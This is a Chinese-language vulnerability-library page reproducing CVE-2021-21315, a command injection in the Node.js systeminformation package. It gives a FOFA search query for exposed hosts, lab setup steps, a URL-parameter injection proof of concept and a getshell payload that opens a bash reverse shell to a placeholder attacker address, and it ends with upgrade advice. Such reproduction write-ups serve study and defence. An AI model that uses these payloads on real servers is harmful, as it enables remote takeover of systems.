Node.js命令注入漏洞(CVE-2021-21315)–kanjin-漏洞文库小世界-安全文库-NGC660 安全实验室

Node.js命令注入漏洞(CVE-2021-21315)–kanjin

漏洞描述:

Node.js-systeminformation是用于获取各种系统信息的Node.JS模块
它包含多种轻量级功能,可以检索详细的硬件和系统相关信息
2021年02月24日,npm团队发布安全公告
Node.js库中的systeminformation软件包中存在一个命令注入漏洞
CVE-2021-21315,其CVSSv3评分为7.8
攻击者可以通过在未经过滤的参数中注入Payload来执行系统命令
最终获取服务器最高权限

漏洞版本

systeminformation< 5.3.1
查看 systeminfomation 版本
在 node_mudules 同级目录下找到 package-lock.json 文件并打开
在里面搜索systeminfomation,可以查看到相应的版本
1625711180133-2ad97814-ec59-47c4-9db4-36856095b4f4

fofa语法

app=“node_JS-Node.js”

漏洞复现

在linux服务器上先安装node.js
wget https://nodejs.org/dist/v12.18.4/node-v12.18.4-linux-x64.tar.xz
tar -xvf node-v12.18.4-linux-x64.tar.xz
mv node-v12.18.4-linux-x64 nodejs
sudo mv nodejs/ /usr/local/sbin/
sudo ln -s /usr/local/sbin/nodejs/bin/node /usr/local/bin/
sudo ln -s /usr/local/sbin/nodejs/bin/npm /usr/local/bin/
安装完成后,输入node查看是否可以正常执行。
1625711640061-cefb77b3-4277-4c5c-9f2f-4a7050edb37e

^c退出
下载使用存在systeminformation漏洞的程序源码
git clone https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC
下载完成后
cd CVE-2021-21315-PoC
通过node 起http服务(默认8000端口),如下图表示正确执行。
1625711926617-857b75d9-f00a-4042-bc87-e0cab0e18782

POC

http://x.x.x.x:8000/api/getServices?name[]=$(echo 's' > test.txt)
1625712281559-7b632ded-ce25-4f37-88fd-2b8355a574c5

查看本地服务器,发现创建了text文件
1625712363665-6a42d343-e459-4ed3-aba7-7c6cf32983f4

getshell

http://x.x.x.x:8000/api/getServices?name[]=$(bash -i >& /dev/tcp/xx.xx.xx.xx/8080 0>&1)
使用exp的时候,&需要进行单独url编码,因为这个符号在url里有特殊含义。
nc监听8080端口
1625712495255-1caaa0e3-4900-486c-b201-a2ad59d65d9c

执行
1625712909969-9eaf5d1f-c124-43d6-ae95-f97dc949cacd

修复建议

将 systeminformation 及时升级到 5.3.1 或更高版本

参考文献

https://idc.wanyunshuju.com/aqld/2025.html

请登录后发表评论

    请登录后查看回复内容